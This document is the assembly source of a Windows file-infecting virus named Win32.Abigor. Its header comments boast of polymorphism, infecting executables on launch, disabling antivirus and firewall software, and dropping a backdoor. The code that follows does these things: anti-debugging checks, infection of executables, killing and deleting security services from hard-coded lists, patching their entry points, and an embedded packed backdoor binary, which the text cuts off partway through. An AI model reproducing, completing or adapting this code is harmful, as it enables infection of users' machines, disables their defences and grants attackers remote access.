; ******************** ; * Win32.Abigor * ; ******************** ; ; It is a polymorphic PE file appending win32 virus that uses EPO. ; It is also my first virus attempt. ; ; here is some of it's feature : ; ;* Infect filez on execution (via registry hooking), and directly the system and windows folder ; (1st execution only) ;* Patch all occurence of ExitProcess, exit and _exit so the virus runs when the hosts terminates ; ;* After some time, it will disable AVz and firewall by patching their entry point with a "ret", ; deleting their service. Then it drops it's backdoor component. ; ;* Randomly trashes the system by blocking exe'z execution, this has 1/1000 chances to happen ; when an exe is executed and it is during "generaly" until the system reboots. ; . ; . ; . ; (well it's not a feature, it's a bug ! :D) ; ; ; ; ; ; ; ; ; Well... no more talking here's the code -> .586 .model flat, stdcall option casemap :none ; case sensitive include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib __DBG_ON__ equ FALSE ; TRUE : disable anti-debugging feature FALSE : enable anti-debugging feature __RELEASE_MODE__ equ TRUE ; FALSE : does not infect windows and system TRUE : does infect win & sys dir %out %out Virus Version INFO: %out IF __DBG_ON__ %out * Anti-debugging feature DISABLED ELSE %out * Anti-debugging feature ENABLED ENDIF IF __RELEASE_MODE__ %out * DOES infect windows & system directory on 1st execution %out * Anti-AV routines ENABLED ELSE %out * DOES NOT infect windows & system directory on 1st execution %out * Anti-AV routines DISABLED ENDIF %out .data templ db "%lx",0 ; DEBUG 1st gen db 0 .data? buf db 256 dup (?) ; DEBUG 1st gen .code ALIGN 4 start: xor ebx , ebx jmp VirusStart hehe:invokE ExitProcess,0 ; 1st gen. VirusStart: rept 8 nop ENDM cld Call ___Delta ___Delta: pop ebp sub ebp, OFFSET ___Delta and dword ptr [ebp + Patched?],0 ; init error assume fs:nothing mov dword ptr [ebp + @@Delta],ebp ; Delta to restore if General error mov dword ptr [ebp + @@@Delta],ebp ; Delta to restore if Kernel base access error lea eax,[exception_handler+ebp] push eax xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp mov esi, dword ptr [ebp + _KERNEL32] ; try with last used kernel Call GetK32 or eax,eax jnz @F mov esi,0BFF70000h ; Win9x Call GetK32 ; ... or eax,eax jnz @F mov esi,077E40000h ; XP Call GetK32 ; GetKernel or eax,eax jnz @F mov esi,077E00000h ; NT/W2k Call GetK32 or eax,eax jnz @F mov esi,077E80000h ; NT/W2k Call GetK32 or eax,eax jnz @F mov esi,077ED0000h ; NT/W2k Call GetK32 or eax,eax jnz @F mov esi,077F00000h ; NT/W2k Call GetK32 @@: mov dword ptr [ebp+_KERNEL32],eax ; Save kernel base Call GetGetProcAddressAddress ; hum... IFE __DBG_ON__ ; enable debugging for test only mov eax, dword ptr [ebp + _GetProcAddress] cmp byte ptr [eax], 0CCh jz ZeroShit lea eax, dword ptr [ebp + szIsDebuggerPresent] push eax push dword ptr [ebp+_KERNEL32] Call dword ptr [ebp + _GetProcAddress] .IF eax == 0 ; -> win95 mov ecx,fs:[20h] jecxz @F jmp ZeroShit ; quit if debugger found @@: .ELSE ; -> win98, NT, 2k, XP CAll EAX or eax, eax jz @F jmp ZeroShit ; quit if debugger found @@: .ENDIF ENDIF push 3 lea eax, dword ptr [ebp + szSetErrorMode] Call K32Api lea eax,[EnableHostExecutionOnError_handlder+ebp] ; Setup SEH frame for poly error handling push eax mov dword ptr [ebp + EnableHostExecutionOnError_Delta],ebp ; Save Delta mov dword ptr [ebp + EnableHostExecutionOnError_Stack],esp ; Save Stack xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp sub esp, SIZEOF OSVERSIONINFO mov ebx, esp assume ebx : ptr OSVERSIONINFO mov dword ptr [ebx].dwOSVersionInfoSize, SIZEOF OSVERSIONINFO push ebx lea eax, dword ptr [ebp + szGetVersionExA] Call K32Api push dword ptr [ebx].dwPlatformId pop dword ptr [ebp + WinVer] add esp, SIZEOF OSVERSIONINFO assume ebx : NOTHING lea eax, dword ptr [ebp + Advapi32] push eax lea eax, dword ptr [ebp + szLoadLibraryA] Call K32Api mov dword ptr [ebp + _ADVAPI32], eax lea eax, dword ptr [ebp + Psapi] push eax lea eax, dword ptr [ebp + szLoadLibraryA] Call K32Api mov dword ptr [ebp + _PSAPI], eax lea eax, dword ptr [ebp + SFC] push eax lea eax, dword ptr [ebp + szLoadLibraryA] Call K32Api mov dword ptr [ebp + hSFC], eax lea eax,dword ptr [ebp + USER32] push eax lea eax,dword ptr [ebp+szLoadLibraryA] Call K32Api mov dword ptr [ebp+_USER32],eax ; Save user32 base lea eax,dword ptr [ebp + Shell32] push eax lea eax,dword ptr [ebp+szLoadLibraryA] Call K32Api mov dword ptr [ebp+_Shell32],eax ; Save user32 base Call Random_init ; init rng seeds ;CALL SetupRegHook ; install virus IF __RELEASE_MODE__ sub esp, 120 mov ebx, esp mov dword ptr [ebp + CompNameSize], 100 lea eax, dword ptr [ebp + CompNameSize] push eax push ebx ;lea eax, dword ptr [ebp + szGetComputerNameA] ; ERR_NOACCESS ??? ;Call K32Api lea eax, dword ptr [ebp + szGetUserNameA] Call ADVAPI32Api lea edi, dword ptr [ebp + OldCompName] mov esi, ebx mov eax, ebx call _strlen mov ecx, eax mov edx, ecx repz cmpsb and byte ptr [ebp + NewSystem],0 test ecx, ecx jz CmpInfTime ; not a new system: abort massive infection ;####################### executed ONLY once on 1st infection ##################### mov esi, ebx lea edi, dword ptr [ebp + OldCompName] ; store old computer name for further checking xchg ecx, edx rep movsb lea eax, dword ptr [ebp + InfectionTime] ; retrieve 1st infection time on this computer push eax lea eax, dword ptr [ebp + szGetSystemTimeAsFileTime] Call K32Api lea eax,[win_infect_handlder+ebp] ; Setup SEH frame for poly error handling push eax mov dword ptr [ebp + win_infectDelta],ebp ; Save Delta mov dword ptr [ebp + win_infectStack],esp ; Save Stack xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp inc byte ptr [ebp + NewSystem] xor esi, esi lea eax, dword ptr [ebp + NAV_Win] push eax push esi lea eax, dword ptr [ebp + szFindWindowA] Call U32Api mov dword ptr [ebp + hNAVWnd], eax or eax, eax jz @F push esi push 9c42h ; Desactivate NAV push WM_COMMAND push eax lea eax, dword ptr [ebp + szSendMessageA] Call U32Api @@: Call infect_newsystem ; ensure perenniality on new system & sleep for some day mov ecx, dword ptr [ebp + hNAVWnd] jecxz @F push 0 push 9c42h ; Restore NAV push WM_COMMAND push ecx lea eax, dword ptr [ebp + szSendMessageA] Call U32Api @@: win_infect_handlder: DB 0BCh win_infectStack dd 00000000h ; Restore Stack xor edx,edx pop dword ptr fs:[edx] db 0BDh win_infectDelta dd 00000000h ; Restore Delta ;################################################################################# CmpInfTime: add esp, 120 cmp byte ptr [ebp + NewSystem],0 jnz no_drop lea eax, dword ptr [ebp + CreationTime] ; retrieve current time push eax lea eax, dword ptr [ebp + szGetSystemTimeAsFileTime] Call K32Api mov eax, dword ptr [ebp + InfectionTime].dwLowDateTime sub eax, dword ptr [ebp + CreationTime].dwLowDateTime ; substract current time ;mov dword ptr [ebp + TimeDifference].dwLowDateTime, eax mov eax, dword ptr [ebp + InfectionTime].dwHighDateTime sbb eax, dword ptr [ebp + CreationTime].dwHighDateTime ; substract current time mov dword ptr [ebp + TimeDifference].dwHighDateTime, eax cmp eax, TIME_DROP ja no_drop CAll KillAVz ; après que TIME_DROP soit dépassé detruire les AVs lea eax, dword ptr [ebp + TS_Win] push eax push eax lea eax, dword ptr [ebp + szFindWindowA] Call U32Api or eax, eax jnz no_drop ; Backdoor déjà implanté sur notre système ? Call Drop_BackDoor ; non ??? implantons !! no_drop: ENDIF EnableHostExecutionOnError_handlder: DB 0BCh EnableHostExecutionOnError_Stack dd 00000000h ; Restore Stack xor edx,edx pop dword ptr fs:[edx] db 0BDh EnableHostExecutionOnError_Delta dd 00000000h ; Restore Delta CALL SetupRegHook ; install virus lea eax, dword ptr [ebp + szGetCommandLineA] Call K32Api or byte ptr [eax],20h cmp byte ptr [eax],41h + 32 jb Return2host cmp byte ptr [eax],5Ah + 32 ja Return2host sub esp, 600 mov edi, eax Call _strlen mov ecx, eax mov al,'"' repnz scasb mov dword ptr [ebp + pFileName], edi mov al,'"' repnz scasb .IF byte ptr [edi] == ' ' ; in case of cmdline... and byte ptr [edi-1],0 mov eax, dword ptr [ebp + pFileName] Call _strlen mov ecx, eax mov al,' ' repnz scasb and byte ptr [edi-1],0 .ELSE and dword ptr [edi-1],0 .ENDIF ;push edi sub esp, 380 mov esi, esp push esi mov byte ptr [esi],' ' inc esi @@: mov al, byte ptr [edi] mov byte ptr [esi], al inc edi inc esi or al,al jz @F jmp @B @@: pop esi mov eax, dword ptr [ebp + pFileName] IF __RELEASE_MODE__ pushad cmp byte ptr [ebp + NewSystem],0 jnz SkipKill xor edx, edx ; process is not active mov eax, dword ptr [ebp + pFileName] cmp dword ptr [ebp + TimeDifference].dwHighDateTime, TIME_DROP ; Time to engage kill routines ? ja SkipKill ;pushad ;push 0 ;push eax ;push eax ;push 0 ;lea eax, [ebp + szMessageBoxA] ;call U32Api ;popad Call KillAV ; Check if the file we are trying to run is an AV & if so kill it... SkipKill: popad ENDIF pushad Call IsFileAV? dec eax popad jz @F ; IS it an AV file ? Call infect ; infect !!! @@: sub esp, (SIZEOF STARTUPINFO + 30) mov ebx, esp pushad mov edi, ebx mov ecx, (SIZEOF STARTUPINFO + 30) xor al, al rep stosb popad push ebx lea eax, dword ptr [ebp + szGetStartupInfoA] Call K32Api ;--- sub esp, 280 mov ecx, esp push ecx ; for lstricmp push 0FFh push ecx push 0 lea eax, dword ptr [ebp + szGetModuleFileNameA] Call K32Api push dword ptr [ebp + pFileName] lea eax, dword ptr [ebp + szlstrcmpiA] Call K32Api sub esp, -280 sub esp, (SIZEOF PROCESS_INFORMATION + 30) mov edx, esp pushad mov edi, edx mov ecx, (SIZEOF PROCESS_INFORMATION + 30) xor al, al rep stosb popad or eax, eax jz skpexec sub esp, 280 mov edi, esp push esi mov esi, dword ptr [ebp + pFileName] mov eax, esi call _strlen mov ecx, eax rep movsb pop esi @@: dec edi cmp byte ptr [edi], '\' jnz @B and byte ptr [edi], 0 mov ecx, esp ; ecx = repertoire de l'exe push edx xor eax,eax push edx push ebx push ecx push eax push NORMAL_PRIORITY_CLASS push eax push eax push eax pushad lea eax, dword ptr [ebp + szSHGetFileInfo] push eax push dword ptr [ebp + _Shell32] Call dword ptr [ebp + _GetProcAddress] mov ebx, eax sub esp, (SIZEOF SHFILEINFO + 80) mov edi, esp push SHGFI_EXETYPE push SIZEOF SHFILEINFO push edi push 0 push dword ptr [ebp + pFileName] Call ebx ; Get exe file type add esp, (SIZEOF SHFILEINFO + 80) clc .IF ax != 'EP' stc ; Non-PE file, set carry on .ENDIF popad .IF CARRY? push eax ; Non-PE file, don't use commandline .ELSE push esi ; PE file, preserve commandline .ENDIF push dword ptr [ebp + pFileName] lea eax, dword ptr [ebp + szCreateProcessA] Call K32Api pop ebx push [ebx+4] lea eax, dword ptr [ebp + szCloseHandle] Call K32Api skpexec: add esp, (600 + 380 + 280 + SIZEOF STARTUPINFO + SIZEOF PROCESS_INFORMATION + 60 ) ; Fix stack Return2host: FreeLib: push dword ptr [ebp + _Shell32] lea eax,dword ptr [ebp+szFreeLibrary] Call K32Api push dword ptr [ebp + _USER32] lea eax,dword ptr [ebp+szFreeLibrary] Call K32Api cmp dword ptr [ebp + hSFC], 0 ; Was it loaded ? jz @F push dword ptr [ebp + hSFC] lea eax, dword ptr [ebp + szFreeLibrary] Call K32Api @@: push dword ptr [ebp + _ADVAPI32] lea eax, dword ptr [ebp + szFreeLibrary] Call K32Api cmp dword ptr [ebp + _PSAPI], 0 ; Was it loaded ? jz @F push dword ptr [ebp + _PSAPI] lea eax, dword ptr [ebp + szFreeLibrary] Call K32Api @@: jmp ZeroShit ; Clear shit And return 2 host BytesNeeded dd 0 KillAVz proc .IF dword ptr [ebp + WinVer] == VER_PLATFORM_WIN32_NT Call KillHostileDrivers ; kill Hostile NT services first sub esp, 2500 mov ebx, esp lea eax, dword ptr [ebp + BytesNeeded] push eax push 2400 push ebx lea eax, dword ptr [ebp + szEnumProcesses] Call PSAPIApi mov esi, ebx nextone: mov ecx, dword ptr [esi] jecxz Skipit push ecx push 0 push PROCESS_ALL_ACCESS lea eax, dword ptr [ebp + szOpenProcess] Call K32Api or eax, eax jz Skipit push eax ; <- For CloseHandle sub esp, 300 mov edi, esp push eax push 256 push edi push 0 push eax lea eax, dword ptr [ebp + szGetModuleFileNameExA] Call PSAPIApi pop edx sub eax, 4 js NOgood mov eax, edi Call KillAV mov ecx, (256 / 4) xor eax, eax rep stosd NOgood: add esp, 300 lea eax, dword ptr [ebp + szCloseHandle] Call K32Api Skipit: add esi, 4 mov eax, ebx add eax, 1024 cmp esi, eax jle nextone Call KillHostileDrivers ; kill Hostile NT services next :) add esp, 2500 .ELSE push 0 push TH32CS_SNAPPROCESS lea eax, dword ptr [ebp + szCreateToolhelp32Snapshot] Call K32Api inc eax jz ErrNoSnapshot dec eax mov esi, eax sub esp, SIZEOF PROCESSENTRY32 + 30 mov ebx, esp assume ebx : ptr PROCESSENTRY32 mov [ebx].dwSize, SIZEOF PROCESSENTRY32 push ebx push esi lea eax, dword ptr [ebp + szProcess32First] Call K32Api nextone9x: push dword ptr [ebx].th32ProcessID push 0 push PROCESS_ALL_ACCESS lea eax, dword ptr [ebp + szOpenProcess] Call K32Api or eax, eax jz ErrOpen9x lea edx, dword ptr [ebx].szExeFile xchg eax, edx Call KillAV ErrOpen9x: push ebx push esi lea eax, dword ptr [ebp + szProcess32Next] Call K32Api or eax,eax jnz nextone9x push esi lea eax, dword ptr [ebp + szCloseHandle] Call K32Api add esp, SIZEOF PROCESSENTRY32 + 30 assume ebx : nothing ErrNoSnapshot: .ENDIF ret KillAVz endp services db "AMON",0 db "avpg",0 db "AVPCC",0 db "Aavmker",0 db "Avast32 Start as Service",0 db "AvMon2",0 db "AvUpdSvc",0 db "KAVMonitorService",0 db "NOD32Service",0 db "PersFw",0 db "vsmon",0 db "Vsapint",0 db "Tmpreflt",0 db "Tmntsrv",0 db "Tmfilter",0 db "PCCPFW",0 db "PCC_PFW",0 db "wg3n",0 db "SmcService",0 db 0 KillHostileDrivers proc xor esi, esi push SC_MANAGER_ALL_ACCESS push esi push esi lea eax, dword ptr [ebp + szOpenSCManagerA] Call ADVAPI32Api mov ebx, eax lea esi, dword ptr [ebp + services] KillServiceLoop: push SERVICE_ALL_ACCESS push esi push ebx lea eax, dword ptr [ebp + szOpenServiceA] Call ADVAPI32Api mov edi, eax or edi, edi jz NextService push ebx sub esp, SIZEOF SERVICE_STATUS + 20 mov ebx, esp push ebx push SERVICE_CONTROL_STOP push edi lea eax, dword ptr [ebp + szControlService] Call ADVAPI32Api add esp, SIZEOF SERVICE_STATUS + 20 pop ebx push edi lea eax, dword ptr [ebp + szDeleteService] Call ADVAPI32Api push edi lea eax, dword ptr [ebp + szCloseServiceHandle] Call ADVAPI32Api NextService: mov eax, esi call _strlen add esi, eax inc esi cmp byte ptr [esi],0 ; No more service ? jz @F ; Exit loop jmp KillServiceLoop ; Compare with next service @@: push ebx lea eax, dword ptr [ebp + szCloseServiceHandle] Call ADVAPI32Api ret KillHostileDrivers endp AV_lst db "Autodown.exe",0 db "Tmntsrv.exe",0 db "amon.exe",0 db "avmaisrv.exe",0 db "avserver.exe",0 db "nod32.exe",0 db "nod32cc.exe",0 db "Zonealarm.exe",0 db "zapro.exe",0 db "Wfindv32.exe",0 db "Webscanx.exe",0 db "Vsstat.exe",0 db "Vshwin32.exe",0 db "Vsecomr.exe",0 db "Vscan40.exe",0 db "Vettray.exe",0 db "Vet95.exe",0 db "Tds2-Nt.exe",0 db "Tds2-98.exe",0 db "Tca.exe",0 db "Tbscan.exe",0 db "Sweep95.exe",0 db "Sphinx.exe",0 db "Smc.exe",0 db "Serv95.exe",0 db "Scrscan.exe",0 db "Scanpm.exe",0 db "Scan95.exe",0 db "Scan32.exe",0 db "Safeweb.exe",0 db "Rescue.exe",0 db "Rav7win.exe",0 db "Rav7.exe",0 db "Persfw.exe",0 db "Pcfwallicon.exe",0 db "Pccwin98.exe",0 db "Pccguide.exe",0 db "Pccclient.exe",0 db "Pavw.exe",0 db "Pavsched.exe",0 db "Pavcl.exe",0 db "Padmin.exe",0 db "Outpost.exe",0 db "Nvc95.exe",0 db "Nupgrade.exe",0 db "Normist.exe",0 db "Nmain.exe",0 db "Nisum.exe",0 db "Navwnt.exe",0 db "Navw32.exe",0 db "Navnt.exe",0 db "Navlu32.exe",0 db "Navapw32.exe",0 db "N32scanw.exe",0 db "Mpftray.exe",0 db "Moolive.exe",0 db "Luall.exe",0 db "Lookout.exe",0 db "Lockdown2000.exe",0 db "Jedi.exe",0 db "Iomon98.exe",0 db "Iface.exe",0 db "Icsuppnt.exe",0 db "Icsupp95.exe",0 db "Icmon.exe",0 db "Icloadnt.exe",0 db "Icload95.exe",0 db "Ibmavsp.exe",0 db "Ibmasn.exe",0 db "Iamserv.exe",0 db "Iamapp.exe",0 db "Frw.exe",0 db "Fprot.exe",0 db "Fp-Win.exe",0 db "Findviru.exe",0 db "F-Stopw.exe",0 db "F-Prot95.exe",0 db "F-Prot.exe",0 db "F-Agnt95.exe",0 db "Espwatch.exe",0 db "Esafe.exe",0 db "Ecengine.exe",0 db "Dvp95_0.exe",0 db "Dvp95.exe",0 db "Cleaner3.exe",0 db "Cleaner.exe",0 db "Claw95cf.exe",0 db "Claw95.exe",0 db "Cfinet32.exe",0 db "Cfinet.exe",0 db "Cfiaudit.exe",0 db "Cfiadmin.exe",0 db "Blackice.exe",0 db "Blackd.exe",0 db "Avwupd32.exe",0 db "Avwin95.exe",0 db "Avsched32.exe",0 db "Avpupd.exe",0 db "Avptc32.exe",0 db "avpm.exe",0 db "Avpdos32.exe",0 db "Avpcc.exe",0 db "Avp32.exe",0 db "Avp.exe",0 db "Avnt.exe",0 db "Avkserv.exe",0 db "Avgctrl.exe",0 db "Ave32.exe",0 db "Avconsol.exe",0 db "Apvxdwin.exe",0 db "Anti-Trojan.exe",0 db "Ackwin32.exe",0 db "_Avpm.exe",0 db "_Avpcc.exe",0 db "_Avp32.exe",0 db "Vsmon.exe",0 db "Smc.exe",0 db 0 IsFileAV? proc ; in : eax = pointer to filename ; out : eax == 1 if FileName Is a AV one, else eax == 0 sub esp, SIZEOF WIN32_FIND_DATA + 50 mov edi, esp push edi assume edi : ptr WIN32_FIND_DATA push eax lea eax, dword ptr [ebp + szFindFirstFileA] Call K32Api lea edi, [edi].cFileName ; Always get the long filename assume edi : nothing push eax lea eax, dword ptr [ebp + szFindClose] CAll K32Api cmp byte ptr [edi+1], ':' jnz JustExe mov eax, edi Call _strlen add edi, eax @@: dec edi cmp byte ptr [edi], '\' jnz @B inc edi JustExe: lea esi, dword ptr [ebp + AV_lst] AV_scan_loop: push edi push esi lea eax, dword ptr [ebp + szlstrcmpiA] ; compare it with one AV ? Call K32Api or eax, eax ; name is matching ? jnz NotListedAV add esp, SIZEOF WIN32_FIND_DATA + 50 inc eax ; AV return 1 ret NotListedAV: mov eax, esi Call _strlen add esi, eax inc esi cmp byte ptr [esi],0 ; No more AV ? jz @F ; Exit loop jmp AV_scan_loop ; Compare with next AV @@: add esp, SIZEOF WIN32_FIND_DATA + 50 xor eax, eax ret IsFileAV? endp pid dd 0 ;test_file db "c:\windows\system32\host.exe",0 ; in : eax = pointer to filename to process ; edx = process handle IF the process to be trashed is active ELSE put NULL KillAV proc pushad mov ebx, eax ; put pointer to filename into ebx mov dword ptr [ebp + pid], edx sub esp, SIZEOF WIN32_FIND_DATA + 50 mov edi, esp push edi assume edi : ptr WIN32_FIND_DATA push ebx lea eax, dword ptr [ebp + szFindFirstFileA] Call K32Api lea edi, [edi].cFileName ; Always get the long filename assume edi : nothing push eax lea eax, dword ptr [ebp + szFindClose] CAll K32Api cmp byte ptr [edi+1], ':' jnz JustExe mov eax, edi Call _strlen add edi, eax @@: dec edi cmp byte ptr [edi], '\' jnz @B inc edi ; reach byte after last '\' JustExe: lea esi, dword ptr [ebp + AV_lst] ;pushad ;push 0 ;push edi ;push ebx ;push 0 ;lea eax, [ebp + szMessageBoxA] ;call U32Api ;popad AV_scan_loop: push edi push esi lea eax, dword ptr [ebp + szlstrcmpiA] ; compare it with one AV ? Call K32Api or eax, eax ; name is matching ? jnz NotListedAV push dword ptr [edi] or dword ptr [edi], 20202020h cmp dword ptr [edi], 'mpva' ; Avp monitor ? pop dword ptr [edi] jz @F ; don't kill it mov ecx, dword ptr [ebp + pid] jecxz @F ; is process running ? no skip push eax push ecx lea eax, dword ptr [ebp + szTerminateProcess] ; kill ! Call K32Api @@: ;pushad ;push 0 ;push edi ;push ebx ;push 0 ;lea eax, [ebp + szMessageBoxA] ;call U32Api ;popad Call PatchAV ; Extra (may only work when prossess ; is about to be launched due to ; the latency time necessary to unload ; image from the memory and, thus, writing NotListedAV: ; to the file on disk) mov eax, esi Call _strlen add esi, eax inc esi cmp byte ptr [esi],0 ; No more AV ? jz @F ; Exit loop jmp AV_scan_loop ; Compare with next AV @@: add esp, SIZEOF WIN32_FIND_DATA + 50 popad ret KillAV endp PatchAV proc uses edx ; in : ebx = pointer to full path of file to patch. pushad push FILE_ATTRIBUTE_NORMAL push ebx lea eax, dword ptr [ebp + szSetFileAttributesA] ; reset attributes Call K32Api xor esi, esi push esi push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push esi push FILE_SHARE_READ or FILE_SHARE_WRITE push GENERIC_READ or GENERIC_WRITE push ebx lea eax, dword ptr [ebp + szCreateFileA] Call K32Api inc eax jz ErrOpen dec eax mov dword ptr [ebp + hFile],eax push esi push esi push esi push PAGE_READWRITE push esi push dword ptr [ebp + hFile] lea eax,[ebp+szCreateFileMappingA] call K32Api or eax,eax jz ErrCloseFa mov dword ptr [ebp + hMap],eax push esi push esi push esi push FILE_MAP_ALL_ACCESS push dword ptr [ebp+hMap] lea eax,dword ptr [ebp+szMapViewOfFile] call K32Api test eax,eax jz ErrShit mov dword ptr [ebp + pMap],eax cmp word ptr [eax],IMAGE_DOS_SIGNATURE jnz ErrShit mov edi,[eax+3ch] add edi,eax cmp dword ptr [edi],IMAGE_NT_SIGNATURE jnz ErrShit assume edi : ptr IMAGE_NT_HEADERS mov edi,[edi].OptionalHeader.AddressOfEntryPoint mov esi,dword ptr [ebp + pMap] Call RVAToOffset ; get raw offset add eax,dword ptr [ebp + pMap] ; add base address assume edi : nothing mov edi,eax mov al, 0C3h ; patch entrypoint with "return to windows" stosb Call Random32 and eax,07Fh Call GenTrashBlk ; add shit ... ; this should make it a bit harder to repair :-) ErrShit: Call UnMap ErrCloseFa: push dword ptr [ebp+hFile] lea eax, dword ptr [ebp + szCloseHandle] Call K32Api ErrOpen: popad ret PatchAV endp BackdoorStart db 77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0 db 184,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,176,0,0,0 db 14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104 db 105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111 db 116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32 db 109,111,100,101,46,13,13,10,36,0,0,0,0,0,0,0 db 85,217,249,219,17,184,151,136,17,184,151,136,17,184,151,136 db 17,184,151,136,146,184,151,136,237,152,133,136,19,184,151,136 db 82,105,99,104,17,184,151,136,0,0,0,0,0,0,0,0 db 80,69,0,0,76,1,3,0,143,87,26,64,0,0,0,0 db 0,0,0,0,224,0,15,1,11,1,5,12,0,48,0,0 db 0,16,0,0,0,192,1,0,48,242,1,0,0,208,1,0 db 0,0,2,0,0,0,64,0,0,16,0,0,0,2,0,0 db 4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0 db 0,16,2,0,0,16,0,0,0,0,0,0,2,0,0,0 db 0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0 db 0,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0 db 0,0,2,0,232,1,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,85,80,88,48,0,0,0,0 db 0,192,1,0,0,16,0,0,0,0,0,0,0,4,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,224 db 85,80,88,49,0,0,0,0,0,48,0,0,0,208,1,0 db 0,36,0,0,0,4,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,64,0,0,224,85,80,88,50,0,0,0,0 db 0,16,0,0,0,0,2,0,0,2,0,0,0,40,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,192 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,49,46,50,51,0 db 85,80,88,33,12,9,2,8,175,233,133,239,104,160,181,151 db 81,216,1,0,45,34,0,0,0,92,0,0,38,1,0,158 db 223,91,254,255,106,3,232,1,0,59,88,199,5,79,148,64 db 0,148,0,104,8,19,22,223,255,238,230,131,61,95,2,117 db 79,13,58,212,104,2,195,65,0,106,40,80,26,190,92,190 db 221,237,104,144,97,25,104,156,4,106,0,63,184,140,97,175 db 105,54,179,1,9,152,2,106,1,249,247,142,108,37,140,255 db 53,63,60,148,104,0,96,99,187,255,158,4,88,20,11,192 db 117,55,8,50,130,74,58,205,221,125,246,254,163,12,137,25 db 194,163,16,9,131,37,20,41,65,239,96,239,149,10,14,73 db 32,1,61,140,172,251,253,255,58,158,85,139,236,131,196,232 db 255,117,248,141,69,252,17,60,24,82,102,123,118,107,182,119 db 56,98,41,17,6,84,30,244,80,3,117,111,176,238,240,80 db 25,1,155,247,198,171,128,177,205,246,253,152,214,199,69,85 db 19,39,232,236,80,65,96,221,183,153,38,90,240,31,220,68 db 13,11,183,177,246,237,208,139,32,201,195,51,192,3,125,176 db 58,208,48,236,62,114,115,242,6,212,3,216,30,18,64,13 db 220,0,114,251,236,141,224,6,183,143,69,228,22,240,6,59 db 156,112,54,244,29,248,15,127,49,208,101,192,182,246,68,137 db 128,2,252,17,62,139,117,199,182,236,145,208,238,86,106,143 db 8,155,61,108,9,175,172,128,4,207,0,96,62,155,125,219 db 114,57,246,176,51,176,61,110,248,76,118,216,109,100,180,44 db 210,116,20,12,104,8,255,221,111,31,2,235,217,222,188,201 db 194,16,0,220,129,196,0,254,255,255,131,125,12,240,159,251 db 27,8,47,104,222,192,173,222,125,36,56,255,21,240,117,158 db 61,219,142,93,31,217,218,232,10,58,188,176,80,233,115,161 db 208,221,4,3,19,52,1,136,192,143,150,239,125,174,123,141 db 13,115,24,149,139,11,129,81,4,42,3,107,187,177,140,114 db 116,206,136,19,37,97,51,220,157,225,92,163,28,48,12,143 db 5,24,8,142,217,220,247,109,80,5,114,141,4,169,27,133 db 236,187,173,97,187,235,79,129,107,18,122,117,187,68,10,19 db 1,247,238,183,53,16,8,16,78,117,50,44,7,169,235,43 db 24,237,221,183,102,13,4,13,221,16,139,77,20,21,53,167 db 235,21,68,225,61,91,182,20,2,16,12,118,57,252,248,217 db 216,118,183,153,254,117,225,98,189,116,4,15,28,217,94,107 db 238,139,212,219,65,1,145,21,14,220,35,75,247,216,161,251 db 215,65,8,12,255,16,101,100,121,46,3,216,20,7,24,89 db 70,150,145,11,28,15,32,19,9,228,230,130,24,165,19,23 db 216,65,101,228,141,127,119,104,40,218,65,204,1,1,0,138 db 221,223,24,238,15,133,75,236,200,2,18,204,163,184,137,64 db 217,124,239,241,15,132,47,3,104,140,41,168,132,28,188,212 